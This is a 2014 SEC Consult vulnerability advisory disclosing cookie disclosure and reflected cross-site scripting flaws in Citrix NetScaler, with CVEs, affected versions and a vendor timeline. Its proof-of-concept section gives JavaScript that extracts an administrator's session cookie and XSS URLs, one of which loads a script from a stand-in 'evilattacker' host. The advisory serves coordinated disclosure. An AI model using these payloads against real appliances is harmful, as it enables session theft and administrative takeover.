-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SEC Consult Vulnerability Lab Security Advisory < 20140716-2 > ======================================================================= title: Multiple vulnerabilities product: Citrix NetScaler Application Delivery Controller Citrix NetScaler Gateway vulnerable version: <9.3-62.4 <10.1-126.12 fixed version: >=9.3-62.4 >=10.1-126.12 CVE: CVE-2014-4346, CVE-2014-4347 impact: High homepage: http://www.citrix.com found: 2014-01-05 by: Stefan Viehbck SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor/product description: - ----------------------------- "Citrix NetScaler helps organizations build enterprise cloud networks that embody the characteristics and capabilities that define public cloud services, such as elasticity, expandability and simplicity.

URL: http://www.citrix.com/products/netscaler-application-delivery-controller/overview.html Business recommendation: - ------------------------ Attackers can exploit XSS and other vulnerabilities that lead to cookie disclosure to execute administrative actions. Affected Systems should be updated as soon as possible. Vulnerability overview/description: - ----------------------------------- 1) Cookie disclosure The error handler in the Apache g_soap module prints all of the request header information including the HTTP Cookie field. This vulnerability can be used in XSS attacks to gain access to the otherwise well protected (HttpOnly) "SESSID" cookie of an administrator. 2) Reflected Cross-Site Scripting (XSS) Citrix Netscaler suffers from multiple reflected Cross-Site Scripting vulnerabilities, which allow an attacker to steal user information, impersonate users and perform administrative actions on the appliance. There are many parameters which are not properly sanitized and thus vulnerable to XSS. Proof of concept: - ----------------- 1) Cookie disclosure A GET request to the SOAP handler returns the following information: GET /soap HTTP/1.1 Host: <host> *OTHER HEADER FIELDS* Response: HTTP/1.1 200 OK ... Content-Type: text/html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <HTML> ... <BODY> <H1>mod_gsoap Apache SOAP Server Error</H1> <p><strong>No body received</strong> ... <br>Cookie: SESSID=*SESSION ID*; ... In combination with an XSS vulnerability (see 2) an attacker can use the following code to extract cookies including the SESSID cookie of an administrator: var request = new XMLHttpRequest(); request.open('GET', '/soap', false); request.send(); lines=request.responseText.split('<br>') for (var i in lines){ if (lines[i].indexOf('Cookie')==0){ alert(lines[i]); break; } } 2) Reflected Cross-Site Scripting Accessing the following URL will include the Javascript code from http://evilattacker/evil.js: http://<host>/menu/topn?name=";<%2fscript><script+src%3d"http:%2f%2fevilattacker%2fevil.js"><%2fscript> Other pages do not sanitize user input properly as well: http://<host>/pcidss/launch_report?type=AA";alert('xss');x=" http://<host>/menu/guiw?nsbrand=AA<"'>AA&protocol=BB<"'>BB&id=CC<"'>CC Note: Content-Type is application/x-java-jnlp-file, so the injected script code is not interpreted. However, it is possible to inject arguments into a Java JNLP file, which might be used in further attacks. Vulnerable / tested versions: - ----------------------------- The vulnerabilities have been verified to exist in Citrix NetScaler VPX 10.0, which was the most recent version at the time of discovery. According to the vendor versions before 10.1-126.12 and 9.3-62.4 are vulnerable Vendor contact timeline: - ------------------------ 2014-01-09: Sending advisory and proof of concept exploit via encrypted channel. 2014-01-17: Vendor acknowledges receipt of advisory. 2014-04-04: Requesting status update. 2014-06-10: Vendor is "in the process of scheduling the release of a security bulletin". 2014-07-07: Requesting list of affected/non-affected versions CVE-IDs. 2014-07-07: Vendors is "still in the final stages of releasing the bulletin". 2014-07-07: Requesting info about cause of delay. 2014-07-07: Vendor is "still hopeful that the bulletin will be available soon". 2014-07-14: Vendor states that fixed version will be available on July 15/16. 2014-07-16: SEC Consult releases coordinated security advisory.
